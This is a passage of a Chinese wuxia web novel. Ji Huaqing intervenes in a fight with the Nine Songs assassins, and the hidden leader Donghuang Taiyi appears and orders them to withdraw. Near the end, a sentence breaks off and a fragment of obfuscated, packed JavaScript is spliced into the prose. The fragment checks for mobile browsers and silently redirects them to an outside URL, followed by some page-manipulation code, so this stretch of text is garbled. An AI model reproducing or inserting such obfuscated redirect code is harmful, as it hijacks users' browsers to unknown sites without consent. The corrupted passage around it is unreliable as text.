仇灵鸢被雨馀凉所伤,轻呼一声,两滴血滴落在砖石地面上,如同两朵小小却盛艳的梅花。 何若枫察觉仇灵鸢这边情况不对,即刻回过头来,见仇灵鸢受伤,当即踏出两步就要去到仇灵鸢身边。 仇灵鸢左手抱着琵琶,右手手指抚过受伤的左边上臂,对何若枫道:“不用过来!”她看着雨馀凉,“我还没娇贵到受一点皮外伤就要人看来看去,这里我一个人就能解决,你赶紧去把家主要的人抓到手!” 何若枫听了仇灵鸢的话停下脚步,他狠狠看了一眼雨馀凉,对仇灵鸢道:“鸢妹小心应付,我这边很快就完事,过后就来帮你。” 仇灵鸢对雨馀凉道:“死小子!本来看你长得俊不打算为难你,这是你自找的!”说完右手纤指轮转拨动琵琶弦,错杂杀伐之音便源源不断从那把琵琶中滚落流泻出来。雨馀凉从前面对的向来都是有形的兵刃,而眼下向自己袭来的却是一阵阵挟着琵琶弦音的如刃气流,雨馀凉很难看清这些弦音薄刃的位置,心内不禁一阵恐慌,但他将恐惧强自压了下去。 已然到了这一步,那便拼个你死我活。 雨馀凉睁大眼睛仔细辨别那些透明却致命的风刃,同时调动自己其他感官,足尖抵地跃起,在院中各处左奔右突,上下纵跃,成功躲开了十数道弦音风刃。而那些被弦音气流击中的地方,房檐、窗户、走廊的柱子、院中的鱼缸,皆如被利刃削中一般损毁破裂。雨馀凉一边躲避这些无形音刃,一边试图不断向仇灵鸢接近。 又一个计划已然在雨馀凉心中成形。 他要去到离湘夫人足够近的地方,然后想办法将那琵琶毁掉或让它与湘夫人分离开。 雨馀凉不知道湘夫人除以琵琶为武器外,是否还精通其他兵刃,只是以先前雨馀凉使长刀短暂地和湘夫人的匕首过那零星几招来看,一个猜想在雨馀凉脑中浮现: 湘夫人不擅长近身白刃战。 这个猜想没有证据,雨馀凉也不知道那个时候湘夫人大惊之下有没有使出全力,但现在生死一线之间,无论哪种可能雨馀凉都得试试。 若湘夫人的近战水平真的只是她之前展露出来的那种程度,那么只要琵琶没在她手上,雨馀凉就有信心解决她! 雨馀凉在空中急速翻身,一道弦音薄刃便贴着他的脸颊和耳朵飞过,那道弦音打在雨馀凉身后的屋顶上,霎时间便落下好几片碎瓦噼里啪啦砸在地上。 而仇灵鸢似乎在有意和雨馀凉保持距离,每当雨馀凉向她靠近一些时,仇灵鸢或是后退,或是以琵琶奏出弦音逼退雨馀凉。雨馀凉虽然感到计划进行得不是那么顺利,但仇灵鸢的这一反应倒是有些证实了他的想法——湘夫人十分清楚自己的弱点,所以尽量在战斗中规避。 想法被证实,雨馀凉先是略微一喜,但很快又被焦急盖过:时间所剩不多了,他必须赶在湘夫人能够再一次弹出阻断人内力运行的弦音或湘君回过头来帮湘夫人之前将湘夫人打败,否则情况将变得极其糟糕。 雨馀凉不禁想,若是姬花青在这,又会是怎样一番情况?自己虽向姬花青学习武艺,却还是在面对很多事时束手无策。 他突然想到姬花青刀剑齐出的身姿,在龙虎寨一战前,他都不知道姬花青会使剑,而在来到临蓟前,他也不知道姬花青还可刀剑同使。 雨馀凉猛地转过头,目光落在陆临掉落的那把剑上,于是他朝那把剑所在的位置疾奔,暂时弃仇灵鸢于身后不顾。 雨馀凉的行为让仇灵鸢有些摸不着头脑,明明从一开始就在不断拉近与她的距离,然而就在刚刚,雨馀凉突然朝反方向而去了。 雨馀凉来到那把剑的所在,而陆临就在那把剑旁边。此时陆临已经坐了起来,她的腿受伤了,已经无法站起,雨馀凉捡起那把剑时和陆临对视了一眼,陆临没有阻止雨馀凉拿自己的剑,雨馀凉看到陆临的脸十分憔悴。 雨馀凉右手握刀,左手捡起长剑。他记得在那家药铺外,姬花青和呼延酬打斗时前者是右手握剑,左手握刀,但雨馀凉只会刀法,便仍是以惯用手拿刀。 伴随着铮铮铮的弦音嗡鸣,雨馀凉又是连躲数道音刃。他的心脏在胸腔中猛烈跳动,心跳声仿佛就在他耳内回想,他的呼吸万分急促,他感到喉咙又干燥又冒起一股带有铁锈味的腥甜,如此一刻不停地四处腾跃闪避,雨馀凉也觉自己快要到达极限,而在方才去拿剑的过程中,雨馀凉余光瞥见李愈那边权宁似是已和湘君交上了手。 终于,在又一次的腾挪过后,他找到了一个合适的距离和角度,他将内力汇聚在左手,剑刃对准仇灵鸢扔了出去。 这一剑蕴含着强劲的内力,流星般激射而出,刹那间就飞至仇灵鸢身前,仇灵鸢连忙跳开闪避这一剑。而雨馀凉在扔出剑的下一刻便脚下力蹬往前纵出,仇灵鸢才刚躲开朝自己飞来的剑,一抬头便看见雨馀凉已在自己斜上方处。 雨馀凉的身影遮挡住了仇灵鸢头顶上方的阳光,而投射在仇灵鸢身上的阴影越来越大,仇灵鸢贝齿紧咬,右手手指勾住琵琶弦,明显下一刻就要正对雨馀凉弹出一道音刃。 而雨馀凉刀尖直指仇灵鸢怀中琵琶的丝弦。 二人都在赌,赌是雨馀凉先砍中仇灵鸢的琵琶,还是仇灵鸢先弹出音刃击中雨馀凉。雨馀凉这一刀若是先砍中,仇灵鸢就无法再用琵琶音伤人控人了;而若在这么近的距离被琵琶音刃打中,雨馀凉必死无疑。 仇灵鸢突然尖叫一声,这声尖叫比她之前被雨馀凉所伤发出的痛呼声音大得多,她的身子似乎受到了一股极大的力,控制不住地往旁边仰倒,也是因为这么一仰,雨馀凉与仇灵鸢将将错开,整个人随着长刀扑了个空。一切发生得太过突然,雨馀凉疾撞向地面,好在他也算反应快,急忙打滚卸去往前疾冲的力。 打了好几个滚后,雨馀凉刚蹲定身子便听见丝弦乐器被猛摔才会发出的独有混响,他抬头望去,只见不远处的地上躺着一把琵琶,那把琵琶颈部断裂,已经不能再拿来弹奏了。 雨馀凉感到十分诧异,他低头看向自己握刀的手。他的刀明明还没有碰到湘夫人的琵琶,怎的琵琶自己就飞了出去?雨馀凉想,难道是自己心绪激动下爆发出一股极强的内力,才将琵琶从湘夫人手中震飞了? 而仇灵鸢的状态也不大对,她捂住自己心口,突然呕的一声吐出一口血来。 方才那一下,不仅她手中的琵琶被击飞,她自己似乎也被击飞琵琶的内力所伤。 雨馀凉更疑惑了,自己的内功什么时候修炼到这种程度了? 一切都在极短的时间内发生了,尽管何若枫听到这边动静后以最快的速度赶到仇灵鸢身边,也还是为时稍晚。 何若枫扶住仇灵鸢身子,关切道:“鸢妹,你怎么样?” 仇灵鸢散乱着头发,对何若枫大叫道:“你现在来问我?一开始的时候你去哪了?你现在才过来说这些有什么用?” 何若枫道:“我去抓人了啊,不是你叫我不过来的吗?而且我一听见你这边发生情况就立即赶过来了啊!”雨馀凉看向李愈那边,只见权宁躺倒在一边,生死未卜,而李愈则坐倒在地,上半身靠在台阶上,他的眼睛睁着,但身子一动不动,应当是被点中了穴道。 仇灵鸢道:“所以你是在怪我?我有让你花那么长时间吗?你在那边磨蹭什么?你为什么不赶紧过来!你要是早点过来我根本就不会遭受这些,你知不知道我现在身体有多难受!”她一边说一边不断有血从她口中漫出,她唇上本来涂了殷红的口脂,此时吐血出来,倒让人分不清嘴上的红色是口脂还是鲜血了。 何若枫安慰仇灵鸢道:“好了鸢妹,都是我的不是。”他抬头看向雨馀凉,“我现在就把打伤你那小子杀了替你出气。” 仇灵鸢道:“不,不能杀,不能就这么便宜了他,留他一口气,然后交给我。” 何若枫点头道:“我听鸢妹的便是。” 雨馀凉听见他们的对话,一颗心战若擂鼓,他举刀站起,准备拼命。 何若枫提枪一步步向雨馀凉逼近,沉声道:“小子,你当真是找死,我……”话未说完,雨馀凉只见眼前似乎有什么东西晃过,伴随着何若枫话音的戛然而止,何若枫的身子也毫无征兆地向旁边倒去。 褐金色的衣摆铺在何若枫身上,姬花青将何若枫压在身下,膝盖抵住何若枫胸口,左手掐住他的脖子,右手举着长刀,长刀刀刃在夏季烈日的照射下发出的白光耀眼生花。 姬花青正要一刀刺下,一道声音忽然传来: “刀下留人!” 107. 烟波(五) 姬花青还未对“刀下留人”四字做出反应,手臂便凝滞在了半空,不是她自己停了手,而是有什么东西将她的长刀抓住了,让她的刀无法再继续刺向何若枫。 姬花青立即转头朝手中的刀望去,被她压在身下的何若枫看准这个机会,握紧长枪戳向姬花青。 这一枪又快又狠,但姬花青反应奇速,在枪尖触及自己之前便闪身跃开。姬花青尚未落地,何若枫这一枪就已戳入了他左边地下,伴随着砰的一声大响,地砖碎裂,碎块四散。随后姬花青才双脚着地,她这一下躲得凶险,弯下腰右手反手握刀左手抓地,这才在向后滑出数尺后停下。 雨馀凉见姬花青突然出现,又是惊讶又大是欣喜,连忙跑过去道:“花青前辈!你怎么在这里?” 姬花青心说我怎么在这里?这问题我还想问你嘞。 原来那晚姬花青和呼延酬袭击水匪营寨,得了一封书信才知道金玉霜已在白玄逸的授意下被送去给了丹阳派。姬花青回到客栈后又将信从头至尾细细读了好几遍,确定眼下金玉霜是在来到临蓟的丹阳派二把手灵玑子的手中。 姬花青不由得心煎如沸,她一整晚都同呼延酬与群匪激斗,本打算回到客栈后小憩一阵,如今却半刻也坐不住,又立即出门打探丹阳派的落脚之处。 姬花青本以为眼前的道路已经明晰了,平坦了,不想一番打探过后,又一座高山陡然横亘在眼前。 丹阳派作为这次前来水南的水西九大派之一,和其他八个水西大派都一同住在水南武林盟主府邸中。姬花青刚得知这一消息便预感到接下来的行动将不会很顺利,来到盟主府邸附近一看,她意识到自己预感错了。 哪里是不会很顺利,明明是会很不顺利。 之前在瑚庄大闹那一场,姬花青从瑚庄一路杀到龙虎寨,但事后回想起来却有些后怕。 瑚庄那次是她运气好,没碰上高手,而瑚庄和龙虎寨当然不可与水西九派相提并论。姬花青是水西人,且在水西玄同教就事多年,十分清楚这些门派的厉害,郑宝卿和唐奕才在水南已是顶尖的高手,但若放在水西九派,顶多不过是这些门派中游的水准。 如今水西九派的人都住在盟主府邸前院,就姬花青打听到的消息,九派这次来了不少门内高手。这些高手不仅在本派中享有崇高威望,在整个水西武林也是受人敬畏的名家耆宿,丹阳派玉玑子便是其中之一。 所以姬花青就算很想察看盟主府邸中的水西各派,尤其是丹阳派的情况,也没敢贸然翻上前院的院墙。 在一边绕着盟主府邸绕圈一边思考怎么进到丹阳派的住处时,她发现盟主府邸后院倒是守卫薄弱。 前院既都住着九派的人,那么李氏和李氏的下属便是住在后院了。 嘿,姬花青想,客人气派主人寒酸,这景象称得上是奇特,不过就如今水南李氏风雨飘摇的情状,会出现这种情况却也不奇怪。 而现在这种情况为姬花青提供了方便。 隐在后院院墙上极目望去,姬花青发现水西九派来的人很多,非常多,是那种会让她在达成目的的过程中受到极大阻碍的多。 姬花青也知道,这些门派相互之间并不是那么友善。在水西,各江湖势力、帮派教盟大致分为两个阵营,分别以武林盟主卫尧觉与前任掌盟之子、如今的聊氏家主聊以偲为首。如今来到的临蓟的水西九派中,殊华派、凌虚派,以及连江万克礼所在的沧阆派,都站在卫尧觉这边,丹阳派则是聊氏的忠心盟友。至于其他门派,姬花青很久没回水西,尚不清楚他们如今的立场。 而玄同教属于江湖黑|道,自立一座山头,并不参与这些争斗,又或者说,不管聊氏还是卫氏还是其他正派人士,他们都视玄同教为敌人,只是近几十年来玄同教徒少于在江湖上惹事,而白道武林又内斗不止,所以都没将注意放到魔教身上来。水西武林白道中不掺和这些事的还有两仪派,两仪派是水西名门大派中的名门大派,在很久以前卫氏和聊氏就都尝试过将其拉拢到自己这边,但两仪派将双方都回绝了,只是关闭山门,潜心求仙问道。 姬花青想,同为道家玄门,都是道士,丹阳派跟两仪派一个积极入世,一个一味出世,差距倒还挺大。 也正是这种各门派间的相互提防与小心谨慎给姬花青带来了极大的不便。各门派间相互提防,所以他们各自在盟主府邸中的住处周围都设有严密的防卫,门内弟子轮流巡逻。虽然他们不是为了防姬花青,可这无疑为姬花青去到丹阳派所居住的那几座院子找到并盗取金玉霜增添了极大的难度。 牵一发而动全身,在各门各派都布置了相当严密守卫的情况下,假设姬花青被发现了,引起连锁反应,到时候身后追的很可能就不止一个门派的人了,每个门派都会怀疑突然闯入的可疑人物会不会是其他门派派出的,他们会想方设法抓住这个可疑的贼人,弄清楚贼人的身份,这样说不定就可以抓到对面阵营门派的把柄。 这前院里卧虎藏龙,除了丹阳派灵玑子,姬花青听说殊华派掌门叶锦栊、凌虚派闻人兄妹、雪山派掌门穹隆老人、碧逍派璧月夫人这次都来到了临蓟,而除这些人外,姬花青尚不知沧阆、天影、紫雁、仙霞这几派来的是谁,不过根据她先打听到的那几个门派的情况来看,这几派来的为首之人不会低于掌门或掌门亲信级别。 简直称得上是高手云集,因此,她根本没有一旦被发现还能够全身而退的把握。 于是姬花青不仅白天来到盟主府邸后院墙头观察前院,晚上也来,连续观望了好几天,试图像之前在水匪营寨那般,通过数天的踩点找到突破口,寻得一处守卫薄弱的地方,找准一个时机和路线神不知鬼不觉地潜进去。 然而几天的观察过后,姬花青失望地发现,无论是白天还是夜晚,前院守卫的严密程度跟之前呼延酬与她破了的那水匪营寨比有过之而无不及,一丝空隙都没有,更何况这些名门弟子武功远在那些水匪之上。 这才是真正的一只苍蝇也飞不进去。 姬花青一手插进头发里,想,强闯潜入都不行,难道非得逼她用些非常手段? 一名盟主府邸的侍女正托着一只雕花木盘从姬花青所在的院墙下走过。 那侍女畅通无阻地进了前院,看样子是得了盟主的吩咐,定期往前院送点心茶水。 扮成侍女这种事,姬花青也不是没干过,六年前在照水帮搜集韩长泉等人背叛玄同教的证据,她便是扮作厨房使女,倒也蒙混了过去。 姬花青转头将目光落于后院,既如此,她便先找到盟主府邸下人起居的地方,从那偷一套衣服。 就在姬花青于后院各屋檐廊顶飞身穿梭时,忽听得一处院落中传来异响,不仅有金属撞击之声,还间杂阵阵乐音。 姬花青心下疑惑,足底一转,折了方向朝声音来源赶去。 然后就看到了仇灵鸢何若枫二人分别攻击雨馀凉和李愈权宁的一幕。 姬花青见雨馀凉出现在这略微吃了一惊,不过雨馀凉身陷险境,眼下更是有与那持琵琶的女子同归于尽的架势,姬花青也不多想,当即揭下屋顶的一片青瓦掷出。 打落仇灵鸢琵琶、雨馀凉的危机解除后,姬花青并没有立即现身,她想先看看是怎么回事,直到何若枫提枪步步逼近雨馀凉,姬花青终于还是站不住了。 姬花青的入场让在场之人都大感意外,雨馀凉、李愈、陆临都本以为眼下这场危难是过不去了,不想山穷水尽之时峰回路转。李愈和陆临一个被点穴,一个受伤,却还保有清醒的神智,他们见姬花青欲以刀刺何若枫,又见雨馀凉看姬花青神色甚是高兴,都多少意识到这下来了强援。 雨馀凉穿的是浅色衣衫,姬花青这时才看到雨馀凉身上有一大摊血迹,她吓了一跳,道:“馀凉,你受伤了?” 雨馀凉道:“没。”他低头看向自己的衣衫,复又抬头对姬花青道:“这血不是我的,是……”他看向坐在不远处地上的陆临,“是那位陆姑娘的。” 姬花青想去看看陆临情况如何,也想问雨馀凉现下是个什么情况,若眼前只有何若枫和仇灵鸢两个敌人,她就去看去问了,可姬花青知道,方才抓住她长刀的并非何若枫和仇灵鸢二人中的任何一人,也就是说—— 不速之客除了何若枫与仇灵鸢,还有第三个人。 而这个人到现在都还没有现身。 敌在暗我在明,姬花青不敢贸然放松警惕。 她扬首高声道:“阁下何人?还请现身说话。” 一个矮小的身影从檐后跃出,稳稳当当落在院落中央,挡在姬花青等人与何若枫、仇灵鸢之间。 姬花青略微偏过头,看着眼前这浑身上下包裹得严严实实、几乎一寸肌肤也不露出、连双手都戴着手套的怪人,道:“方才叫‘刀下留情’的,是阁下?” 云中君点头道:“正是。” 此人不仅戴了面具,且说话声音奇特,是着意改变了原本的嗓音。 姬花青虽不知眼前这人的身份、目的,但方才她在闪避何若枫那一枪时,抓住她长刀的东西突然松动了,她这才能带着刀躲开何若枫那一枪。若这人有意伤她性命,就会与何若枫配合,牢牢抓住她的刀不放,她要么被一枪戳穿,要么只能弃刀躲闪。 因着这一点,姬花青并未对这人抱有十分的敌意,而在躲开的那一瞬间,她看清抓住自己长刀的,是一根极细的透明丝线。 丝线并不是这人唯一的武器,姬花青注意到他的背上还背着一张弓,一壶箭,以及一把短直刀。 仇灵鸢见了云中君,突然憋了一口气在胸中,她面色不善道:“云中君,你既早就在这,为什么迟迟不现身帮忙?” 姬花青、雨馀凉、陆临、李愈这才知道,眼前这样貌、性别皆不详的怪人,同何若枫、仇灵鸢一样是九歌成员。只不过与湘君湘夫人相比,这位云中君倒是客气有礼得多。 语声从云中君那张椭圆的白色面具下传出:“湘夫人阁下,你这话可就武断了,我不过刚到,怎么就成‘早就在这’了?方才若不是我出手,你那湘君现在还有命在否?” 仇灵鸢的不满被云中君一句话堵了回去,她恨恨“哼”了一声,将头转向一边。 何若枫此时已然站起,他道:“既然云中君来了,那我们也闲话少说,先一同将姓李的抓了,好跟家主交差。” 云中君脖子转向姬花青雨馀凉等人,道:“这事儿先不急,湘君湘夫人,跟我回去。” 雨馀凉不知是不是自己的错觉,自从这“云中君”现身那时起,他就觉得这人不时在看向自己,尽管云中君的“脸”不过是白色的椭圆,他看不到他的眼睛,但奇怪的是,他就是有这种感觉。 这种感觉让他的脊背略微有些发毛。 云中君的话让何若枫与仇灵鸢同时感到震惊,何若枫道:“什么?”仇灵鸢道:“你在开玩笑吗?家主亲自交给我们的任务,怎么可能你说不做就不做了?” 云中君道:“你又在曲解我的意思,我的意思不过是暂时打道回府,又没说让你们不做了。” 何若枫道:“打道回府?哼,我们为什么要打道回府?如今姓李的就在眼前,这是大好的机会,难道要等到盟主府邸已经加派了层层守卫再来吗?” 云中君转头朝姬花青所在的方向,淡淡道:“我不是刀剑罗刹的对手,我们三个加起来,都不会是她的对手。” 雨馀凉心中一动,不由自主看向姬花青,心想,刀剑罗刹?是谁?是在说花青前辈? 姬花青广袖下的手指略微动了动。 这人居然知道她是谁,或者说,能将这个诨号与她的人对上。 这位云中君,面具下的脸究竟长什么样—— 他究竟是什么人? 何若枫有些惊讶,道:“刀剑罗刹?她就是刀剑罗刹?”他再次看向姬花青,只见后者除了手上握着一把长刀,背上还悬了一柄长剑,对云中君的话不由得多信了几分。 云中君道:“若湘君阁下有信心打赢她,那么请便,我就先回去静候佳音了。” 何若枫眉头一皱,道:“什么意思?你不与我们一起对付她么?” 云中君话语中似带着淡淡的笑意,只听他道:“我已经说了,我们三个加起来都不会是刀剑罗刹的对手,我既不想陪你们送死,就算侥幸捡回一条命,也不想与刀剑罗刹结仇。你们执意要与她为敌,到时候不仅枉送了性命,家主交予的任务也完不成。我不走,难道要在这看着你们是怎么被杀的么?” 姬花青站在一旁静听云中君与湘君湘夫人的对话,多少有些弄清楚了湘君湘夫人闯入盟主府邸的目的——他们是打算抓走水南武林盟主李愈。 姬花青看向一坐一躺的李愈权宁二人,她虽从来没见过李愈,但多少已经猜出了李愈是哪个。 只是这云中君话里话外的意思都是,若何若枫仇灵鸢现在要抓走李愈,那么就是与姬花青为敌。 问题在于,这与她姬花青有什么关系? 他们想抓谁走就抓谁好了。她不过是看到自己那小朋友跟人打架才过来帮忙而已。 姬花青不知道云中君这么随意而丝滑地将事实进行扭曲的动机是什么,不过也不排除云中君看到姬花青突然出现对付何若枫,先入为主地认为姬花青跟李氏就是一伙的可能。 果然,仇灵鸢察觉出了云中君的话中有什么不对的地方,她皱眉道:“就算真如你所说,她就是刀剑罗刹,那她跟水南李氏又有什么干系了?我们抓人,碍着她什么事了?” 何若枫听仇灵鸢这么说,也被点醒,他直接看向姬花青,道:“喂,刀剑罗刹,水南李氏跟你到底有没有关系?” 姬花青蛾眉一挑,道:“是啊,到底有没有关系呢?”姬花青向来不喜欢别人知道有关她自己的事,而何若枫提问的态度让她更加不想回答这个问题。 姬花青这样的回答让何若枫很不耐烦,他直视姬花青,高高在上道:“别故弄玄虚了,刀剑罗刹,你是水西人,跟水南李氏又会有什么关系?识相的,赶紧夹起尾巴滚,若你依旧不知好歹敢与九歌为敌,那么水西衡泽聊氏将追杀你到天涯海角。” 姬花青垂下眼轻笑出声,很快又抬起头道:“本来是跟我没关系的,但你这样跟我说话,就有关系了。哦,顺带一提,”她一字一句道:“我很讨厌‘刀剑罗刹’这个外号,你在第一次用这四个字称呼我跟我说话时就应该闭嘴了。” 仇灵鸢冷笑一声,将手中匕首一转,道:“江湖上名不副实的例子多的是,今天我倒要会会‘刀剑罗刹’,看看这所谓‘刀剑双绝’究竟绝在哪里。” 仇灵鸢这话倒是说得不错,江湖中人有别号的不少,有些别号光听上去就甚能唬人,但这其中很多人的武功却也就那样,他们行走江湖,基本是靠名头吓退敌人,真才实学的武功倒是次要的了。 何若枫道:“鸢妹说得没错。”他看向姬花青,“不过你既担得起‘刀剑双绝’四字,我和鸢妹一起上,才能表现对你的尊重啊。”说着一展手中长枪。 云中君见仇灵鸢与何若枫执意要和姬花青碰上一碰,也一言不发不再阻止了。 姬花青摆出了准备出招的架势。 突然,姬花青目光移向一旁,云中君那张覆了白色椭圆面具的脸也转向相同的方向。 一道人影出现姬花青目光所及之处,在院子的角落,不知什么时候又多了一个人。 那是个看上去约莫二十六七岁的男子,身材高挑,宽肩窄腰,一身黑衣显得他身形越发修长,只在领口、袖口、衣摆开叉初露出深紫色的内衬。 这又是谁? 姬花青正自揣测来人身份,湘君何若枫便朝那男子大声道:“你是哪冒出来的?这没你的事,快滚!” 姬花青一开始还以为这人跟九歌是一道的,听何若枫这么问,才知不是。但盟主府邸这边的李愈、陆临见了这人也都没什么反应,且他若是李氏这边的人,见到他们水南武林盟主如此狼狈地坐在地上不可能反应如此平淡。 总不会是迷路到这的吧? 那男子没有对何若枫的话做出回应,他迈开步子,一步步朝众人所在之处走来。 其他人神经都紧绷起来。 那男子对众人警惕的反应视若无睹,走到姬花青、雨馀凉和九歌三人之间后,他从袖中取出一块铁牌,手臂平举将那铁牌出示给众人——准确地说,是给何若枫、仇灵鸢以及云中君看。 在九歌以外的人看来,那块铁牌并无什么特别之处,可何若枫、仇灵鸢却霎时变了脸色。 虽然其他人看不到云中君的脸,但从云中君略微后撤的肢体动作看,那素白面具后的表情应当与何若枫仇灵鸢相差无几。 场面一时陷入了沉默。 雨馀凉不知道发生了什么,而饶是江湖经验远比雨馀凉丰富的姬花青,也不知眼下是个什么情况。 只听云中君的声音闷闷从面具底下传出:“你……你就是东皇太一?”他的嗓音似乎微不可察地颤抖着。 “东皇太一”四字入耳,姬花青一愣,随后缓缓将头转向那男子。 因着呼延酬的另一重身份是九歌东君的关系,姬花青对聊氏麾下的九歌组织有着比较清楚的了解。她知道九歌虽然有九个人,但平时在外执行聊氏的命令、成员间相互见过面相互认识的只有八人,剩下以“东皇太一”为代号的那一人隐在暗处,就连九歌内部的成员也没见过他。 东皇太一这个职位的设置,体现着前代聊氏家主,同时也是上一任水西掌盟聊正赟的小心思——聊正赟连自己的心腹组织也信不过,还要让一个更贴心的心腹替他监察其他心腹。 如今的聊氏家主聊以偲虽是聊正赟的儿子,但人们私下里议论起来,都觉聊以偲比不过他爹,除了更加浓重的猜忌疑心外。 而在今天之前,世上知道东皇太一是谁的,大约只有聊氏家主本人。 姬花青想,原来九歌的东皇太一是这样一个年轻男子。跟眼前阴翳俊美的湘君比,他的五官气质更加硬朗,而与之前见到的河伯邢勘相比,这位东皇太一又更显温润。总之,是那种让人看了很舒服的英俊长相。 东皇太一开口道:“湘君,湘夫人,计划有变,你们手头上的事不用做了,现在,撤。” 何若枫的神情从怔愣转为不甘,还有怀疑。他略微埋头,抬起眼皮瞪着东皇太一,道:“计划有变?为何我没有收到任何家主的来信?话说回来东皇太一以前从未在人前现身,你今天突然在这么多人面前自称是东皇太一,这事蹊跷至极,你拿什么证明自己是真的东皇太一?” 东皇太一道:“令牌为证。我以为九歌所有人都认得这块令牌的。” 何若枫满不在乎地点头道:“不错,东皇太一在暗处替聊氏家主监察九歌成员的一举一动,当他拿着那块令牌出现时,所有九歌成员都必须听从号令。”他转眼再次看向东皇太一,“可令牌可以伪造,你拿什么证明你手中的令牌是真的?” 东皇太一看着何若枫,何若枫亦迎上东皇太一的目光,丝毫不惧。 姬花青突然呵呵笑道:“我是不是该先等你们解决完家务事?” 面对何若枫的挑衅,东皇太一没有急躁,没有发怒,只是面无表情盯着何若枫的脸,淡然道:“湘君要弄清楚令牌的真假,这还不简单?现在立即给衡泽那边修书一封,亲自去问问家主的意思,或是水南这边事了后,我们一同回到衡泽,湘君阁下大可当面向家主问询。” 东皇太一既已这么说,那么他手中的令牌、他的身份大抵是真的了。但何若枫也知道,效果越好的谎言往往听上去越真实,若这只是个暂时将他支离的把戏,他就这样被唬住离开盟主府邸,等到他发现自己上当后再想回来抓人,恐怕就没那么容易了。 可若眼前这人真是东皇太一,所带来的真是家主聊以偲的命令,而他拒不服从,以他对聊以偲的了解,到时候他的下场怕是不会好。 何若枫陷入了两难之境。 何若枫将头转向仇灵鸢,道:“鸢妹,你怎么看?” 仇灵鸢本来在梳理着自己的头发,听何若枫突然叫住自己,脸上露出不耐烦的神色,道:“你决定啊!”明明是十分重大的问题,仇灵鸢却从刚刚开始就表现出一副事不关己的样子,只顾整理自己的仪容,把其他事一股脑全部扔给何若枫。 她不参与和东皇太一的争执,只让何若枫在前面得罪人,并让何若枫做出一切决定。若是何若枫做下的决定,就算之后出了什么问题,仇灵鸢也不会受到像何若枫那么严重的处罚。 何若枫低下头,复又抬头看向东皇太一,道:“……离开这后,我会立即向衡泽那边修书过去证实你说的话,并召集其他九歌成员,共同辨明你身份的真假。” 东皇太一道:“家主若知道他手下的湘君是个如此审慎的人才,想必也会感到十分欣慰。” 何若枫盯着东皇太一看了好一阵,东皇太一不与他对视,只向周围看了一圈,原本精致整洁的院落经过一番打斗后已变得破败杂乱,各种器物的碎块残片到处都是,他对九歌其他三人道:“走罢。” 东皇太一现身后,姬花青本已做好了同时对上四名九歌成员的准备,此刻见后者自行离去,倒也悄悄松了口气。 若能不动手,谁愿意跟人打架呢。 九歌诸人还没迈开步子,一道女声便传入众人耳中:“怎可让他们就这么走了!”众人不约而同地朝声音来源看去,只见陆临单膝跪地,另一条受伤的腿拖在旁边,她神色激动,双手狠狠抠着地面。 仇灵鸢轻声冷笑,道:“看来刚才的教训还不够,想要另一条腿也残废掉呢。” 东皇太一的注意暂时被陆临那歇斯底里的一吼引去,下一刻便收回了目光,继续向前走,浑然没把陆临放在心上。 陆临如困兽般嘶叫一声,随手抓起脚下的一双筷子——这筷子是方才激斗时,被湘夫人的琵琶音刃激飞到陆临脚边的——朝九歌诸人掷去。 这双筷子饱含内力,若前方没人,筷子能直接钉入柱子或墙壁。虽然九歌来者不善,但云中君和东皇太一与陆临并没有直接冲突,前两者甚至在某些方面与伤了陆临的湘君湘夫人存在矛盾,然而陆临情绪激动下,也不去辨那么多,也不管自己最终打中的是谁,只要是九歌的人,她便将怒火一股脑全发泄过去。 所以这两根筷子最终飞向了云中君。 云中君抬手,轻描淡写地接住了那双筷子,两根细竹棍在云中君手中飞快转了几圈后停了下来,随后云中君将那双筷子握在戴了手套的手中,以夹菜的姿势在空气中夹了两夹。 陆临的这一举动丝毫没有减慢九歌诸人离去的动作,云中君接住筷子的整个过程都没有停下脚步,九歌其他人也没有停下,九歌诸人走到墙边,各自施展轻功翻过院墙,转眼间就消失在众人视线之中。 若不是眼前一片狼藉,九歌这些人就像从未来过一般。 陆临颓然坐在地下,方才将筷子扔出仿佛将她积攒的力气全部耗尽了。 虽然陆临很想将人留下抓住,过几日再把他们交由师父师伯亲自审问,但九歌这几人武功实在高出她很多,有时候,想做是一回事,能不能做到又是另一回事。而陆临也知道九歌这几人离开,李愈没事,所有人都没事已经是很好的结果,毕竟她一开始以为自己死在今日已成定局。 但她不甘心,她心中有莫大的不甘心。 姬花青见九歌之人当真离去,转头去察看陆临伤势。 陆临表情呆滞,任由姬花青将她的裤腿撕开,上药,包扎。 裤子的布料被半凝固的血粘在伤口的血洞上,尽管姬花青动作已经尽量放得轻慢,但她知道,陆临依旧会感到不小的疼痛,更别说之后将药粉直接倒在伤口上了。但整个处理伤口的过程, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15064819|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆临除了身体会不时颤抖一下,她的表情没有一点变化,似乎她的身体已经跟头脑分开了。 姬花青看见陆临这副模样,在心里叹了口气。 处理完陆临这边后,姬花青和雨馀凉又去到李愈和权宁所在之处,万幸的是,权宁只是被打昏了过去,姬花青伸指戳向李愈身上数处穴位,李愈被点的穴道解开,又能自由活动。 在场之人里只有陆临受了严重的伤,好在陆临护卫李愈期间在盟主府邸的住处就在这院落里的另一间屋子中,众人将陆临挪进屋中,移到她的床上。 雨馀凉进到陆临房间,不禁微微吃惊,整个房间布置得十分简洁朴素,不过是临窗一张长桌,桌上搁着几张纸一支笔,桌前一把椅子,除此之外就是睡觉休息的床榻了,女儿家绣房里常见的那些东西一概没有。若说这是一清癯老人的住处,别人说不定还要多信几分,但陆临是韶龄女子,绮年玉貌,即使身形略壮,也能看出她一张脸很是干净齐整。 若只是这样,也就罢了,真正让雨馀凉惊讶的是,房屋四壁挂满了长剑。 在谷州刀派时,雨馀凉得到一把真正的长刀都要高兴很久,而陆临房间里的剑,少说有十多把。 整个房间里除了最基本的家具,就只有剑。 